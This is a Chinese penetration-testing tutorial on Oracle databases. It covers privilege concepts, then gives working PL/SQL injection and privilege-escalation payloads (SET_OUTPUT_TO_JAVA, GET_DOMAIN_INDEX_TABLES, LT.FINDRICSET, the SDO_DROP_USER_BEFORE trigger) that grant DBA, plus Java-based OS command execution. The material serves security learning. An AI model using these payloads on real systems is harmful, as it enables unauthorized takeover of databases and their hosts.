渗透测试-30:Oracle
基础知识
-
端口号
:1521 -
下载地址:
-
sqldeveloper 工具连接
-
Oracle 权限
- ORACLE 系统提供三种权限:
Object 对象级
、System 系统级
、Role 角色级
- ORACLE 系统提供三种权限:
-
如果授予一个权限给特殊用户
Public
(用户 public 是 oracle 预定义的,每个用户享有这个用户享有的权限),那么就意味作将该权限授予了该数据库的所有用户 -
权限被大体分为两类:
-
系统权限:系统规定用户使用数据库的权限(系统权限是对用户而言)
- 系统权限就是我们常见的
CREATE SESSION、ALTER SESSION
等权限,这些权限通常通过角色来进行分配 - oracle 中有几个常见的预定义角色:
DBA
: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构RESOURCE
: 拥有 Resource 权限的用户只可以创建实体,不可以创建数据库结构CONNECT
: 拥有 Connect 权限的用户只可以登录 Oracle,不可以创建实体,不可以创建数据库结构
- 一般普通用户拥有
connect、resource
角色,而管理员拥有connect、resource、dba
角色
- 系统权限就是我们常见的
-
实体权限:某种权限用户对其它用户的表或视图的存取权限(是针对表或视图而言的)
- 简单说就是用户对表、视图、存储过程等有什么权限
- 表权限:
SELECT、DELETE、UPDATE、INSERT、ALTER
- 视图权限:
SELECT、DELTE、INSERT、UPDATE
- 过程、函数、程序包权限:
EXECUTE、DEBUG
-
权限查询
-- 查看所有角色 select * from dba_roles; -- 查看当前用户被激活的全部角色 select * from session_roles; -- 查看当前用户被授予的角色 select * from user_role_privs; -- 查看当前用户是否为DBA select t.DEFAULT_ROLE from user_role_privs t where t.granted_role='DBA'; -- 查看当前用户所拥有的全部权限 select * from session_privs; -- 查看当前用户的系统权限 select * from user_sys_privs; -- 查看当前用户的表级权限 select * from user_tab_privs; -- 查看某个用户所拥有的系统权限 select * from dba_sys_privs; -- 查看角色(只能查看登陆用户拥有的角色)所包含的权限 select * from role_sys_privs; -- 查看用户的java权限(用户名必须大写) select * from user_java_policy where grantee_name='SCOTT'; -- 设置输出列宽,优化 sqlplus 交互式命令行的输出 COL TYPE_NAME FOR A30; COL NAME FOR A30; COL ACTION FOR A10; select TYPE_NAME, NAME, ACTION from user_java_policy where grantee_name = 'TEST4';
-
权限更改
- 可以通过 GRANT 和 REVOKE 命令来对账户进行权限的授予和撤回,一般这些操作会由 DBA 用户(SYS 用户和 SYSTEM 用户)来执行
- 而权限的赋予通常也是通过角色(Role)这个“桥梁”来做的(当然也可以直接赋给 user),举个例子,创建一个用户,并给该用户赋予
create session
和create procedure
-- 进入交互式命令行 sqlplus -- 创建一个的用户 create user <用户名> identified by <密码>; -- 创建一个 role create role <角色名>; -- 将 connect 和 create procedure 赋给 testrole grant connect,create procedure to <角色名>; -- 将testrole这个角色给用户test grant <角色名> to <用户名>; -- 这样我们可以将 testrole 给多个用户,修改权限时只需要添加/删除角色的权限即可,方便批量管理,类似Active Directory中的组 -- 使用 revoke 收回某个权限 revoke create procedure from <角色名>; -- 修改用户密码 alter user <用户名> identified by <密码>; -- 删除用户和角色 drop user <用户名> cascade; drop role <角色名>;
-
PL/SQL注入
PL/SQL 是 Oracle 公司在标准 SQL语言 的基础上进行扩展,可以在数据库上进行设计编程的一种过程化的语言,类似程序语言 JAVA 一样可以实现逻辑判断、条件循环、异常处理等细节操作,可以处理复杂性问题
- 如果 PL/SQL 使用
AUTHID CURRENT_USER
关键词创建,它执行时会以调用者(invoker)的权限来执行 - 如果没有
AUTHID CURRENT_USER
这个关键词,它执行时会以它的定义者(definer)的权限来执行 - 注:Oracle不支持堆叠注入(多语句执行)
Cursor注入
下面这个 procedure 由 DBA(SYS) 创建,并赋予 public 执行权限,数据库能所有用户都可以调用这个 procedure
由于没有声明 AUTHID CURRENT_USER
,所以该存储进程执行时的权限是其定义者(definer),也就是SYS
CONNECT / AS SYSDBA;
CREATE OR REPLACE PROCEDURE GET_OWNER (P_OBJNM VARCHAR) IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS
WHERE OBJECT_NAME = ''' || P_OBJNM ||'''';
LOOP
FETCH CV INTO BUFFER;
DBMS_OUTPUT.PUT_LINE(BUFFER);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
END;
/
GRANT EXECUTE ON GET_OWNER TO PUBLIC;
很明显 P_OBJNM
是存在 SQL 注入的,但由于 Oracle 不支持堆叠查询,我们只能够使用联合查询来注出一些数据,但仅仅查数据肯定不能满足我们的需求
set serveroutput on;
-- 注入
exec SYS.GET_OWNER('AAA'' union select PASSWORD from SYS.DBA_USERS --');
创建一个执行其他命令的函数(需要 CREATE PROCEDURE
权限),并且加上 AUTHID CURRENT_USER
,然后用 || 将函数注入到 SQL 语句中,当 SQL 语句以 SYS 权限执行时,这个被注入的函数作为 SQL 语句的一部分也会被执行
CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID
CURRENT_USER IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
RETURN 'GOT_DBA_PRIVS';
END;
/
-- 注入
exec SYS.GET_OWNER('AAA''||TEST5.GET_DBA --');
在这里的GET_DBA这种函数被称为辅助注入函数,如果我们没有办法自己创建辅助注入函数的话,就要寻找oracle上已经存在的、可以辅助注入的函数。其它的可以看这里:
Lateral SQL注入
主要针对以下两种情况:
- Procedure 不接收用户输入的参数(参数不可控)
- Procedure 中 SQL 语句拼接的参数被定义为 NUMBER 或 DATA 类型
下面这个存储过程接收一个日期类型的参数,并将参数动态拼接入 SQL 语句
create or replace procedure date_proc_2 (p_date DATE) is
stmt varchar2(200);
begin
stmt:='select object_name from all_objects where created = ''' || p_date || '''';
dbms_output.put_line(stmt);
execute immediate stmt;
end;
/
-- 注入
exec date_proc_2('11''||TEST5.GET_DBA --');
-- 报错,通常这种情况可能被认为无法注入,但如果我们有 ALTER SESSION 权限的话,就可以欺骗 PL/SQL 编译器将任意 SQL 语句作为日期类型(其实原本这个功能是用来修改日期类型的格式的)
ALTER SESSION SET NLS_DATE_FORMAT = '"'' and TEST6.GET_DBA()=1--"';
-- 然后注入获取 DBA
exec SYS.date_proc_2(''' and TEST6.GET_DBA()=1--');
set role dba;
下面这个存储进程不接收任何参数,拼接入 SQL 语句中的参数从 sysdate 中获取
create or replace procedure date_proc is
stmt varchar2(200);
v_date date:=sysdate;
begin
stmt:='select object_name from all_objects where created = ''' || v_date || '''';
dbms_output.put_line(stmt);
execute immediate stmt;
end;
/
-- 污染 date 类型
select SYSDATE from dual;
ALTER SESSION SET NLS_DATE_FORMAT = '"THIS IS A SINGLE QUOTE ''"';
select SYSDATE from dual;
-- 成功添加一个单引号进去,此时我们再去执行上面的 Procedure,会得到一个单引号未正常闭合的报错
exec SYS.DATE_PROC();
-- 现在还不能将语句成功注入进去,因为 date 类型限制了长度
ALTER SESSION SET NLS_DATE_FORMAT = '"THIS IS A SINGLE QUOTE ''aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"';
-- 但是 oracle 有个游标(可以理解为给你的语句一个 ID,然后执行的时候直接通过 ID 执行即可)正好可以被我们所利用
-- 关于游标可参考:https://www.cnblogs.com/huyong/archive/2011/05/04/2036377.html
set serveroutput on;
DECLARE
N NUMBER;
BEGIN
N:=DBMS_SQL.OPEN_CURSOR();
DBMS_SQL.PARSE(N,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN
EXECUTE IMMEDIATE ''GRANT DBA TO TEST5''; END;',0);
DBMS_OUTPUT.PUT_LINE('Cursor is: '|| N);
END;
/
-- 注意开启输出,不然无法打印游标号
-- 之后就是污染 date 类型,进而实现SQL注入
ALTER SESSION SET NLS_DATE_FORMAT = '"'' AND DBMS_SQL.EXECUTE(1)=1--"';
-- 此时再执行 Procedure
exec SYS.DATE_PROC();
权限提升
SET_OUTPUT_TO_JAVA
-
权限要求:
CREATE SESSION
-
测试环境:
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit
-
原理:该函数可以利用前面提到的
Lateral SQL Injection
来进行注入,进而获取 DBA 权限- 这个函数允许用户在另一个新的虚拟 session 中重定向 java 输出写入到 System.out 和 System.err,最后两个参数的 SQL 语句将在这个新 session 中执行
- 如果攻击者可以得到一个属于 SYS 的使用 java 的 package 并将它写入 System.out 和 System.err,那么这个新会话的所属者就是 SYS,进而所执行的 SQL 语句也将以 SYS 权限执行
- 而
DBMS_CDC_ISUBSCRIBE
正是一个符合条件 package,它可被 public 执行,属于 SYS 并且是 definer 权限执行,通过将无效的订阅名传递给这个包的e INT_PURGE_WINDOW
过程,则可以将错误强制写入 System.err,随后将以SYS权限执行前一个请求的参数中提供的SQL语句
-
利用
-- 创建普通用户 create user <用户名> identified by <密码>; -- 给用户连接赋予权限 grant create session to <用户名>; -- 切换用户 connect <用户名>/<密码>; -- 查看权限 select * from user_role_privs; select t.DEFAULT_ROLE from user_role_privs t where t.granted_role='DBA'; -- 开始提权,注意替换 GRANT 语句中的用户名 SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS','writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO <用户名>''; END;', 'BEGIN NULL; END;') FROM DUAL; -- 这句执行会报错,但不影响结果 EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE()); -- 这句要不要都行,不执行的话直接 grant 赋权也行 set role dba; -- 再次查看权限 select * from user_role_privs; select * from session_privs;
GET_DOMAIN_INDEX_TABLES
-
影响版本:
Oracle Database <= 10g R2 (未打补丁的情况下)
-
测试环境:
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
-
权限要求:
CREATE SESSION
-
原理:
-
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES
函数的定义FUNCTION GET_DOMAIN_INDEX_TABLES ( TYPE_NAME IN VARCHAR2, TYPE_SCHEMA IN VARCHAR2, ... BEGIN IF GET_TABLES = 1 THEN GETTABLENAMES_CONTEXT := 0; ... ELSE STMTSTRING := 'BEGIN ' || '"' || TYPE_SCHEMA || '"."' || TYPE_NAME || '".ODCIIndexUtilCleanup(:p1); ' || 'END;'; DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7); DBMS_SQL.BIND_VARIABLE(CRS,':p1',GETTABLENAMES_CONTEXT); DUMMY := DBMS_SQL.EXECUTE(CRS); DBMS_SQL.CLOSE_CURSOR(CRS); STMTSTRING := ''; ...
-
可以看到当
GET_TABLES != 1
时,TYPE_NAME
和TYPE_SCHEMA
被直接动态拼接进 PL/SQL 语句中并执行,由于这个函数是以 definer 权限来执行的,所以我们注入的语句也会以 SYS 权限来执行 -
因此我们构造语句,传入参数TYPE_NAME
DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to test2'''';END;'';END;--
-
本地用 pl/sql 手动打印
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to dayu'''';END;'';END;--','SYS',0,'1',0) from dual;
-
LT.FINDRICSET
-
测试环境:
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
-
权限要求:
CREATE SESSION
CREATE PROCEDURE
-
原理:该方法利用
SYS.LT.FINDRICSET
这个函数的注入漏洞来实现权限的提升-
函数定义
PROCEDURE FINDRICSET( TABLE_NAME VARCHAR2, RESULT_TABLE VARCHAR2 DEFAULT '' ) IS TABOWNER VARCHAR2(100); TABNAME VARCHAR2(100); RESOWNER VARCHAR2(100); RESNAME VARCHAR2(100); BEGIN SYS.LT_CTX_PKG.SETUSER ; TABOWNER := NVL(SUBSTR(UPPER(TABLE_NAME),1,INSTR(TABLE_NAME,'.')-1), SYS_CONTEXT('lt_ctx', 'current_schema')); TABNAME := SUBSTR(UPPER(TABLE_NAME),INSTR(TABLE_NAME,'.')+1); IF ( RESULT_TABLE IS NOT NULL ) THEN RESOWNER := NVL(SUBSTR(UPPER(RESULT_TABLE),1,INSTR(RESULT_TABLE,'.')-1), SYS_CONTEXT('lt_ctx', 'current_schema')); RESNAME := SUBSTR(UPPER(RESULT_TABLE),INSTR(RESULT_TABLE,'.')+1); END IF; IF ( RESULT_TABLE IS NOT NULL AND NOT HASOUTPUTTABPRIVS( RESOWNER, RESNAME ) ) THEN SYS.WM_ERROR.RAISEERROR(SYS.LT.WM_ERROR_171_NO, 'insufficient privileges on the result table'); END IF; SYS.LTRIC.FINDRICSET( TABOWNER, TABNAME, RESOWNER, RESNAME ); END;
-
这个函数又调用了
SYS.LTRIC.FINDRICSET
,定义如下PROCEDURE FINDRICSET( IN_TABLE_OWNER VARCHAR2, IN_TABLE_NAME VARCHAR2, RESULT_TABLE_OWNER VARCHAR2, RESULT_TABLE VARCHAR2 ) ... EXECUTE IMMEDIATE 'insert into wmsys.wm$ric_set_in values ( ''' || IN_TABLE_OWNER || ''',''' || IN_TABLE_NAME || ''' )';
-
IN_TABLE_OWNER和IN_TABLE_NAME
直接动态拼接到 SQL 语句中,是可以注入的点 -
创建一个赋权的存储进程,然后闭合 SQL 语句,在参数处调用存储进程
EXECUTE IMMEDIATE 'insert into wmsys.wm$ric_set_in values (''A'',''A''||TEST2.GET_DBA) --' )';
-
-
利用:
-- 注意修改其中的用户名 create or replace function get_dba return varchar2 authid current_user is PRAGMA autonomous_transaction; BEGIN execute immediate 'grant dba to dayu'; commit; return 'z'; END; / begin sys.lt.findricset('A.A''||dayu.get_dba) --','BBBB'); commit; end; /利用:
-
注入环境中可使用
dbms_xmlquery.newcontext
来执行select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function get_dba return varchar2 authid current_user is PRAGMA autonomous_transaction;BEGIN execute immediate ''''grant dba to hellove'''';commit;return ''''z'''';END; ''; commit; end;') from dual; select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin sys.lt.findricset(''A.A''''||hellove.get_dba)--'',''BBBB'');commit;end;') from dual;
SDO_DROP_USER_BEFORE
-
测试环境:
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
-
权限要求:
CREATE SESSION
-
这个是一个触发器(trigger)漏洞,触发器在数据库里以独立的对象存储,它与存储过程和函数不同的是,存储过程与函数需要用户显示调用才执行,而触发器是由一个事件来启动运行
-
原理:
-
SDO_DROP_USER_BEFORE
触发器的的定义trigger sdo_drop_user_before before drop on DATABASE declare stmt varchar2(200); rdf_exception EXCEPTION; pragma exception_init(rdf_exception, -20000); BEGIN if dictionary_obj_type = 'USER' THEN BEGIN EXECUTE IMMEDIATE 'begin ' || 'mdsys.rdf_apis_internal.' || 'notify_drop_user(''' || dictionary_obj_name || '''); ' || 'end;'; EXCEPTION WHEN rdf_exception THEN RAISE; WHEN OTHERS THEN NULL; END; end if; end;
-
可以看出这个触发器是在 drop 用户时会执行对应的命令,而
dictionary_obj_name
被动态拼接到 PL/SQL 中,存在注入 -
但
SDO_DROP_USER_BEFORE
这个触发器属于 MDSYS,而且是以definer的权限来执行的,MDSYS 在oracle 9i
中是 DBA 权限,后来在10g R2
上被降权了,因此无法直接通过注入来获取DBA权限 -
但是也不是毫无办法,MDSYS 拥有
create any trigger
,也就是说我们可以利用这个注入来任意创建触发器 -
那么我们完全可以在 SYSTEM 下创建一个触发器来执行我们想要的命令,然后触发这个新创建触发器,从而以 system 来执行我们的命令
-
直接看 POC,使用游标创建一个 procedure(当然也可以不使用游标),该过程在 system 下创建一个触发器,当向
system.OL$
中插入数据时(默认 public 可向该表中插入数据),就会触发执行grant dba to public
DECLARE MY_CURSOR NUMBER; RESULT NUMBER; BEGIN MY_CURSOR := DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; begin DBMS_OUTPUT.PUT_LINE(''EXECUTING FROM SDO_DROP_USER_BEFORE!!!''); execute immediate ''create or replace trigger system.WHOPPEE before insert on system.OL$ DECLARE msg VARCHAR2(30); BEGIN null; dbms_output.put_line(''''In the trigger''''); EXECUTE IMMEDIATE ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''''''GRANT DBA TO PUBLIC''''''''; END; ''''; end WHOPPEE;''; commit; end;',0); DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); END; /
-
之后将注入该procedure的payload放到drop的用户名中,触发SDO_DROP_USER_BEFORE执行,再向system.OL$中插入数据即可
DROP USER "'||CHR(DBMS_SQL.EXECUTE(5))||'"; INSERT INTO SYSTEM.OL$ (OL_NAME) VALUES ('OWNED!');
-
-
利用
-- 一定要有这一句,不然后面的Cursor value无法输出 SET SERVEROUTPUT ON; -- 注意修改grant的用户,执行后记下打印的Cursor value DECLARE MY_CURSOR NUMBER; RESULT NUMBER; BEGIN MY_CURSOR := DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; begin DBMS_OUTPUT.PUT_LINE(''EXECUTING FROM SDO_DROP_USER_BEFORE!!!''); execute immediate ''create or replace trigger system.WHOPPEE before insert on system.OL$ DECLARE msg VARCHAR2(30); BEGIN null; dbms_output.put_line(''''In the trigger''''); EXECUTE IMMEDIATE ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''''''GRANT DBA TO SIMPLEUSER1''''''''; END; ''''; end WHOPPEE;''; commit; end;',0); DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); END; / -- DBMS_SQL.EXECUTE()中是前面得到的Cursor value DROP USER "'||CHR(DBMS_SQL.EXECUTE(5))||'"; -- 插入数据来触发条件 INSERT INTO SYSTEM.OL$ (OL_NAME) VALUES ('OWNED!');
命令执行
DBMS_XMLQUERY
-
测试环境:
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
-
权限要求:
CREATE SESSION
CREATE PROCEDURE
-
创建用户
create user Toki identified by 123456 grant create session,create procedure to Toki; connect Toki/123456;
-
创建
java source
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
-
创建函数
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
-
通过查询
OBJECT_ID
来判断函数是否创建成功select OBJECT_ID from all_objects where object_name ='LINXRUNCMD';
-
赋予需要的三个 java 权限:当前用户为 DBA 时,通常只需要为该用户赋予第一个执行权限即可
DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; /
-
执行命令
select LINXRUNCMD('/sbin/ifconfig') from dual;
创建存储进程执行命令
-
测试环境:
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
-
权限要求:
CREATE SESSION
CREATE PROCEDURE
-
有时执行命令也会碰到这种报错,此时需要为用户赋予 java 的对应权限,最好执行前先执行一次
dbms_xmlquery
中赋予那三个权限的命令,如果你已经创建完 javae 函数在执行命令时发现了这个报错,那么要再执行一次 2.sql,然后再执行 javae 函数 -
将下面文件分别保存为:
-
1.sql
DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission', '<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; /
-
2.sql
create or replace and resolve java source named "oraexec" as import java.lang.*; import java.io.*; public class oraexec { public static String execCommand(String command) throws IOException, InterruptedException { Runtime rt = Runtime.getRuntime(); int bufSize = 4096; byte buffer[] = new byte[bufSize]; String rc = ""; int len; try{ Process p = rt.exec(command); BufferedInputStream bis = new BufferedInputStream(p.getInputStream(), bufSize); while ((len = bis.read(buffer, 0, bufSize)) != -1){ rc += new String(buffer).split("\0")[0];; } bis.close(); p.waitFor(); return rc; } catch (Exception e) { rc = e.getMessage(); } finally { return rc; } } } / create or replace function javae(p_command in varchar2) return varchar2 as language java name 'oraexec.execCommand(java.lang.String) return String'; /
-
-
放在 sqlplus 同级目录下,然后分别执行
SQL> @1.sql SQL> @2.sql
-
执行命令
select javae('/sbin/ifconfig') from dual;
DBMS_JAVA.RUNJAVA
-
测试环境:
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
-
权限要求:
CREATE SESSION
-
先给当前用户赋予
java.io.FilePermission
DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission', '<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; /
-
执行命令
-- 11g SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper touch /tmp/success') FROM DUAL; -- 10g/11g, 注意 10g 中还需要 readFileDescriptor 和 writeFileDescriptor SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/sbin/ifconfig>/tmp/1.txt') FROM DUAL;
Web层面的利用
-
前面提到过 Oracle 并不支持堆叠注入,但是前面介绍的
dbms_xmlquery.newcontext
是可以执行 PL/SQL 语句的,因此当我们遇到 Oracle 的 SQL 注入点时,就可以构造执行dbms_xmlquery.newcontext
的语句来进行命令执行 -
总结
- 一般 PL/SQL 注入利用的条件:存在注入的 PL/SQL 属于高权限用户(一般关注SYS),且以 definer 权限执行
- 对用户权限的要求:如果用户没有
CREATE PROCEDURE
权限,则需要寻找数据库已有的辅助注入函数,如果用户有CREATE PROCEDURE
权限,则可以自己创建辅助注入函数 - 如果没有辅助注入函数
- 如果注入点是在
execute immediate
后的 PL/SQL 语句中,那么可以考虑直接注入匿名 PL/SQL 语句块 - 如果存在注入的是
insert、delete、update
这三种类型的语句,那么我们就可以利用现有的语句进行增删改操作,特别是 insert 情况下可以通过将当前用户插入到 SYS.SYSAUTH$ 表中,同样可获得 DBA 权限 - 如果存在注入的是 select 这种类型的语句,那么我们就只能对数据库进行查询操作,如
UNION SELECT PASSWORD FROM SYS.USER$
,当然前提是它有输出
- 如果注入点是在
- 当遇到 Web 层面的 SQL 注入时,需要构造
dbms_xmlquery.newcontext
执行 PL/SQL 的语句来进行命令执行即可